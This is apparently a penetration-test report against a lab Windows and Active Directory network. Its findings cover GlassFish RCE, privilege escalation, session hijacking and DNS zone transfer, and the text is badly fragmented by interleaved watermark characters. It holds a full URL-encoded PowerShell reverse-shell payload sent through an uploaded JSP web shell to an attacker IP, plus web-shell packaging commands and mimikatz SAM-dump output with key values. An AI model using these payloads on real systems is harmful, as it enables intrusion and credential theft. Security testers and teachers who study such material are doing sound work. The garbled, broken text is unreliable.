CWE CWE-94: Improper Control of Generation of Code ('Code Injection')
m
CVSS 3.1 8.4 / CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
xa
A Remote Code Execution (RCE) vulnerability in GlassFish server allows attackers to
re
Root Cause
execute arbitrary code on the server, leading to severe security risks.
be
1. Complete Server Compromise: Full control over the server.
Impact
2. Data Breach: Unauthorized access to sensitive data.
cy
References -
.m
Finding Evidence
//t
• from the previous RCE attacker is able to do tunneling using ligolo-ng and started internal
enumeration.
s:
tp
ht
• Login as administrator on glass fish server with master password we found from the open mount
s
m
• Administrator user can deploy pages, a malicious user can upload web shell using this functionality
xa
• Download a web shell and zip the file
zip -r cmd.war cmd.jsp re
• Now attacker can upload the file to the glass fish server
be
cy
e/
.m
//t
s:
tp
ht
172.16.139.35:8080/cmd/cmd.jsp?cmd=powershell+-nop+-c+"%24client+%3D+New-
Object+System.Net.Sockets.TCPClient('172.16.139.10'%2C443)%3B%24stream+%3D+
%24client.GetStream()%3B[byte[]]%24bytes+%3D+0..65535|%25{0}%3Bwhile((%24i+%3D+
%24stream.Read(%24bytes%2C+0%2C+%24bytes.Length))+-ne+0){%3B%24data+%3D+(New-Object+-
TypeName+System.Text.ASCIIEncoding).GetString(%24bytes%2C0%2C+%24i)%3B%24sendback+%3D+(iex+
%24data+2>%261+|+Out-String+)%3B%24sendback2+%3D+%24sendback+%2B+'PS+'+%2B+(pwd).Path+
%2B+'>+'%3B%24sendbyte+%3D+([text.encoding]
%3A%3AASCII).GetBytes(%24sendback2)%3B%24stream.Write(%24sendbyte%2C0%2C%24sendbyte.Length)
%3B%24stream.Flush()}%3B%24client.Close()"
s
m
xa
re
be
cy
e/
.m
//t
s:
tp
ht
s
m
• Assign SeLoadDriverPrivilege only to trusted administrative accounts and
services that require it. Avoid granting this privilege to standard user accounts.
xa
Remediation • Implement Group Policy settings to restrict which accounts can load and
unload drivers. Regularly review and update these policies to ensure they
re
adhere to the principle of least privilege.
be
References -
Finding Evidence
cy
This attacker has permission to migrate the process. The attacker can obtain a session on Metasploit
and use the migrate module to escalate privileges.
That an attacker can get the administrative shell by migrating the process.
s
m
xa
re
be
cy
e/
.m
//t
s:
tp
ht
s
accounts and services that absolutely require it for legitimate purposes. Avoid
m
assigning it to standard user accounts.
Remediation
• Restrict Access: Limit the assignment of SeDebugPrivilege to specific
xa
administrative accounts and system services that require it. Regular audits
re
should verify this access control.
References -
be
Finding Evidence
cy
mimikatz(commandline) # lsadump::sam
Domain : MS01
SysKey : 90557b78f23225c40937c0791ad38df6
Local SID : S-1-5-21-4027693121-2049782792-260753726 SAMKey :
d9cec4e96dbd975f8f1a35c1afbcbdee
[[ SNIP ]]
mimikatz(commandline) # exit
Bye!
C:\Users\Public>
This led to Privilege Escalate to the Administrator user and the attacker can log in using the hash
s
m
xa
re
be
cy
The user has a restriction on their account for RDP login. This restriction can be bypassed by disabling
e/
s
m
xa
re
be
cy
e/
.m
//t
s:
tp
ht
Login Session Hijacking is a technique where an attacker gains control over another
user's session, potentially escalating their privileges. In this scenario, the attacker
Root Cause
(with administrative privileges) hijacks the session of another user logged into the
system.
• By hijacking the session of pthorp_adm, you can potentially access resources
and data that are accessible to this user but not to the original administrative
Impact account.
• The ability to interact with another user’s session can lead to unauthorized
access to sensitive information, applications, or network resources.
Regularly audit and monitor user sessions using tools like query user and
s
Remediation centralized logging solutions. Look for anomalies such as unexpected user logins or
m
the creation of new services.
xa
References -
Finding Evidence
re
The query user command is used to list all users currently logged into the system. This reveals the
be
presence of the pthorp_adm user session.
cy
e/
.m
//t
s:
tp
Using administrative privileges, you create a new service that executes a payload, potentially granting
ht
access to the pthorp_adm session or running code under this user's context.
s
m
xa
re
be
cy
but this is asking for the password, so we can change the password of this user using administrator
e/
privileges
.m
//t
s:
tp
ht
s
m
xa
re
be
cy
e/
.m
//t
s:
tp
ht
The attacker can gain unauthorized access to user accounts, potentially including
those with active Directory privileged access.
2. Data Breach:
s
Once inside the system, the attacker can access sensitive data, leading to
m
Impact
potential data breaches that can compromise personal information, intellectual
xa
property, or other confidential information.
3. Privilege Escalation: re
If the attacker gains access to a low-privilege account, they may attempt further
be
exploits to escalate privileges within the system.
egularly educate and train users on the importance of secure password practices,
cy
Remediation emphasizing the risks of writing down passwords and leaving them in accessible
e/
places.
References -
.m
Finding Evidence
//t
s
m
xa
re
14. Wondershare Dr.Fone 12.0.7 - Privilege Escalation
be
(ElevationService) - High
cy
Root Cause
ElevationService. This allows the attacker to escalate their privileges to an
s:
The attacker gains administrative privileges, providing them with complete control
Impact
over the affected system.
ht
Regularly update all software applications to their latest versions. Ensure that
Remediation Wondershare Dr.Fone and similar applications are updated to versions that have
patched known vulnerabilities.
References -
Finding Evidence
Login to the server using
s
m
xa
re
in Desktop, we have seen some application and the Wondershare is running old version and vulnerable
be
cy
e/
.m
//t
s:
tp
ht
share the exploit to the victim machine and run the exploit with python
s
m
15. zone transfering - Info
xa
CWE CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak')
re
CVSS 3.1 0.0 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
be
DNS zone transfers replicate DNS records from primary to secondary servers for
Root Cause redundancy. Improper configurations can lead to unauthorized zone transfers,
cy
AXFR offers no authentication, so any client can ask a DNS server for a copy of the
entire zone. This means that unless some kind of protection is introduced, an
Remediation
//t
attacker can get a list of all hosts for a domain, which gives them a lot of potential
attack vectors.
s:
References -
tp
ht
Finding Evidence
tester run the command
s
m
A Appendix xa
re
be
Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is based
off of an assessment of the priority with which each finding should be viewed and the potential impact
e/
Info 0.0
172.16.139.10 80,7777
172.16.139.3 88
172.16.139.35 139,2024,4848,8080
172.16.139.175
172.16.210.5 88,139,445
172.16.210.21 8080
172.16.210.34 8084,873
s
m
xa
re
be
cy
e/
.m
//t
s:
tp
ht
s
pr.trilocor.local Trilocor Zone
m
Public Tranfering
Relations
xa
remote.trilocor.local re VPN Zone
Tranfering
store.trilocor.local TRILOCOR Zone
be
Shop Tranfering
securetransfer-dev.trilocor.local UAT Directory
cy
Fuzzing
e/
BACKUP01 linux
s
m
xa
re
be
cy
e/
.m
//t
s:
tp
ht
s
m
WS01\administrator windows wondershare
xa
troilocor\PTHORPE active Direcorty clear text password
s
775e8603841fe0ca6447e7a4f6ec
m
6. MS01 Desktop SeLoadDriverPrivilege
23ed
xa
e70a024080d44f7ae2bb68c0ede
7. WS01 Desktop session Hijacking
033f9 re
54db41fea7f42a7a35dd3500911 weak password for
8. WS01 Desktop
be
74bd9 psafe3 file
f8e8731142c94e63ea6aac49b5a
cy
eb50b7f93b26874c5b66294f177
10. DC02 Desktop cross forest trust
71523
.m
25d36e1585c43ed40fe6a1b8f411
11. DC02 desktop privileges
1dbf
//t
2d06668165cc471db7a415b7bad
s:
End of Report
ht